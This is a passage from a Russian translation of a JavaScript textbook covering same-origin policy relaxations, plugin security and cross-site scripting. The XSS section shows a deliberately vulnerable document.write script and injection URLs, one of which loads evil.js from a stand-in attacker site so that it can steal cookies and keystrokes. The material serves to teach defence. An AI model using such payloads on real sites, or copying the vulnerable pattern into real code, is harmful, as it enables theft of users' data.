JavaScript. Подробное руководство, 6-е издание

Флэнаган Дэвид

Если два окна (или фрейма) содержат сценарии, установившие одинаковые значения свойства domain, политика общего происхождения для этих двух окон ослабляется, и каждое из окон может читать значения свойств другого окна. Например, взаимодействующие сценарии в документах, загруженных с серверов orders. example.com и catalog.example.com, могут установить свойства document.domain равными «example.com», тем самым указывая на общность происхождения документов и разрешая каждому из документов читать свойства другого.

Второй прием ослабления ограничений политики общего происхождения предполагается стандартизовать под названием «Cross-Origin Resource Sharing» (http:// www.w3.org/TR/cors/).

Этот проект стандарта дополняет протокол HTTP новым заголовком запроса Origin: и новым заголовком ответа Access-Control-Allow-Origin. Он позволяет серверам использовать заголовок для явного определения списка доменов, которые могут запрашивать файл, или использовать шаблонные символы, чтобы обеспечить возможность получения файла любым сайтом. Броузеры, такие как Firefox 3.5 и Safari 4, используют этот новый заголовок, чтобы разрешить выполнение междоменных HTTP-запросов с использованием объекта XML-HttpRequest, которые иначе были бы невозможны из-за ограничений политики общего происхождения.

Еще один новый прием, известный как «обмен сообщениями между документами» (cross-document messaging), позволяет сценарию из одного документа передавать текстовые сообщения сценарию в другом документе независимо от домена происхождения сценария. Вызов метода

postMessage

объекта Window производит асинхронную отправку сообщения (получить которое можно в обработчике события

onmessаgе

) документу в этом окне. Сценарий в одном документе по-прежнему лишен возможности вызывать методы или читать свойства другого документа, но они могут безопасно взаимодействовать друг с другом, используя прием обмена сообщениями. Подробнее API обмена сообщениями между документами рассматривается в разделе 22.3.

13.6.3. Взаимодействие с модулями расширения и элементами управления ActiveX

Хотя в базовом языке JavaScript и базовой объектной модели на стороне клиента отсутствуют средства для работы с сетевым окружением и файловой системой, которые необходимы наихудшему злонамеренному программному коду, тем не менее ситуация не такая простая, как кажется на первый взгляд. Во многих броузерах JavaScript-код используется как «механизм выполнения» других программных компонентов, таких как элементы управления ActiveX (в IE) и модули расширения (в других броузерах). Самыми распространенными примерами являются модули расширения, обеспечивающие поддержку Flash и Java, и они предоставляют в распоряжение клиентских сценариев дополнительные мощные возможности.

Вопросы безопасности приобретают особую важность, когда речь заходит о передаче управления элементам ActiveX и модулям расширения. Апплеты Java, например, могут иметь низкоуровневый доступ к сетевым возможностям. Защитная «песочница» для Java не позволяет апплетам взаимодействовать с серверами, отличными от того, откуда они были получены; тем самым закрывается брешь в системе безопасности. Но остается основная проблема: если модуль расширения может управляться из сценария, необходимо полное доверие не только системе безопасности броузера, но и системе безопасности самого модуля расширения. На практике модули расширения Java и Flash, похоже, не имеют проблем с безопасностью и не вызывают появление этих проблем в клиентских сценариях на языке JavaScript. Однако элементы управления ActiveX имеют более пестрое прошлое. Броузер IE обладает возможностью доступа из сценариев к самым разным элементам управления ActiveX, которые являются частью операционной системы Windows и которые раньше уже были источниками проблем безопасности.

13.6.4. Межсайтовый скриптинг

Термин

межсайтовый скриптинг (cross-site scripting), или XSS, относится к области компьютерной уязвимости, когда атакующий внедряет HTML-теги или сценарии в документы на уязвимом веб-сайте. Организация защиты от XSS-атак -обычное дело для веб-разработчиков, занимающихся созданием серверных сценариев. Однако программисты, разрабатывающие клиентские JavaScript-сценарии, также должны знать о XSS-атаках и предпринимать меры защиты от них.

Веб-страница считается уязвимой для XSS-атак, если она динамически создает содержимое документа на основе пользовательских данных, не прошедших предварительную обработку по удалению встроенного HTML-кода. В качестве тривиального примера рассмотрим следующую веб-страницу, которая использует JavaScript-сценарий, чтобы приветствовать пользователя по имени:

<script>

var name = decodeURIComponent(window.location.search.substring(1)) ||

document.write("Привет, " + name);

</script>

В этом двустрочном сценарии используется метод

window.location.search.substring

, с помощью которого извлекается часть адресной строки, начинающаяся с символа ?. Затем с помощью метода document.write добавляется динамически сгенерированное содержимое документа. Этот сценарий предполагает, что обращение к веб-странице будет производиться с помощью следующего URL-адреса:

http://www.example.com/greet.html?name=Давид

В этом случае будет выведен текст «Привет, Давид». Но что произойдет, если страница будет запрошена с использованием следующего URL-адреса:

http://www.example.com/greet.html?name=%3Cscript%3Ealert('Давид')%3C/script%3E

С таким содержимым URL-адреса сценарий динамически сгенерирует другой сценарий (коды %ЗС и %ЗЕ - это угловые скобки)! В данном случае вставленный сценарий просто отобразит диалоговое окно, которое не представляет никакой опасности. Но представьте себе такой случай:

http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

Межсайтовый скриптинг потому так и называется, что в атаке участвует более одного сайта. Сайт В (или даже сайт С) включает специально сконструированную ссылку (подобную только что показанной) на сайт А, в которой содержится сценарий с сайта В. Сценарий evil.js размещается на сайте злоумышленника В, но теперь этот сценарий оказывается внедренным в сайт А и может делать все, что ему заблагорассудится с содержимым сайта А. Он может стереть страницу или вызвать другие нарушения в работе сайта (такие как отказ в обслуживании, о чем рассказывается в следующем разделе). Это может отрицательно сказаться на посетителях сайта А. Гораздо опаснее, что такой злонамеренный сценарий может прочитать содержимое cookies, хранящихся на сайте А (возможно, содержащих учетные номера или другие персональные сведения), и отправить эти данные обратно на сайт В. Внедренный сценарий может даже отслеживать нажатия клавиш и отправлять эти данные на сайт В.